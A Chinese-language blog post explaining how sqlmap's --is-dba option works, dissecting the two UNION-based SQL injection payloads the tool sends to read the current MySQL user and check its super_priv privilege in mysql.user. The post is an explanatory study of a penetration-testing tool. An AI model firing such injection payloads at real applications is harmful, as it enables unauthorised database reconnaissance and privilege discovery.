sqlmap --is-dba参数解析

命令:
C:\Users\123\Desktop>sqlmap.py -u “http://www.example.com/test.php?id=1" –is-dba -v3


最后发现有两个payload:

1
2
3
-9849 UNION ALL SELECT NULL,CONCAT(0x7170707071,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x716b627a71),NULL,NULL,NULL,NULL,NULL-- qjRE

-7101 UNION ALL SELECT NULL,CONCAT(0x7170707071,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x716b627a71),NULL,NULL,NULL,NULL,NULL-- yCUM

我们把其中的重要信息取出来:
第一个payload:

1
2
3
4
5
6
7

CAST(CURRENT_USER() AS CHAR)
//将当前用户名转换成CHAR格式

IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)

CONCAT(0x7170707071,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x716b627a71)

发现返回了 qpppqroot@localhostqkbzq

第二个payload:

1
2
3
4
5
6
7
SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1

(SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59

CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59) THEN 1 ELSE 0 END

CONCAT(0x7170707071,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x716b627a71)


看上面这张图,在mysql数据库下的user表下面有很多的列,列值为Y则代表权限可执行,这里的super_priv代表是否为超级管理权限

sqlmap进行了两次判断,猜测代码里面第一次是为了返回用户名,第二次则是查询第一次返回的用户名的权限。

说了这么多,查询权限的语句:

1
SELECT super_priv FROM mysql.user WHERE user=username LIMIT 0,1


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:sqlmap --is-dba参数解析

本文作者:sher10ck

发布时间:2019-04-16, 14:16:49

最后更新:2020-01-13, 13:01:01

原始链接:http://sherlocz.github.io/2019/04/16/sqlmap-is-dba/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录